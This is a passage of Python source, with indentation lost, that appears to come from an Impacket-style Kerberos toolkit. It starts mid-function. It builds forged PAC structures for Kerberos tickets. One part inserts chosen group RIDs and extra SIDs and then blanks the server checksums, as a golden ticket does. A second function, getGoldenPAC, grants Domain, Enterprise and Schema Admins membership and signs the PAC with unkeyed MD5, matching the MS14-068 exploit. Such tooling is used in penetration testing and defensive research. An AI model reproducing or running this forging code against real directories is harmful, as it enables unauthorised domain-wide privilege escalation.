aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(self.__options.extra_sid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print ('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if pacInfos.has_key(PAC_SERVER_CHECKSUM):
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM):
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if pacInfos.has_key(PAC_CLIENT_INFO_TYPE):
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
encASRepPart = EncASRepPart()
encASRepPart['key'] = None
encASRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encASRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encASRepPart['last-req'] = None
encASRepPart['last-req'][0] = None
encASRepPart['last-req'][0]['lr-type'] = 0
encASRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encASRepPart['nonce'] = 123456789
encASRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
encASRepPart['flags'] = encodeFlags(flags)
encASRepPart['authtime'] = encTicketPart['authtime']
encASRepPart['endtime'] = encTicketPart['endtime']
encASRepPart['starttime'] = encTicketPart['starttime']
encASRepPart['renew-till'] = encTicketPart['renew-till']
encASRepPart['srealm'] = self.__domain.upper()
encASRepPart['sname'] = None
encASRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encASRepPart['sname']['name-string'] = None
encASRepPart['sname']['name-string'][0] = 'krbtgt'
encASRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
return encASRepPart, encTicketPart, pacInfos
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'),)
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print ('\n')
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = pacClientInfo.getData()
pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = b'\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = b'\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = b'\x00'*16
serverChecksumBlob = serverChecksum.getData()
serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = b'\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = b'\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = b'\x00'*16
privSvrChecksumBlob = privSvrChecksum.getData()
privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
pacClientInfo.getData() + pacClientInfoAlignment
buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest()
buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = noValue
authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = pacType.getData()
return encoder.encode(authorizationData)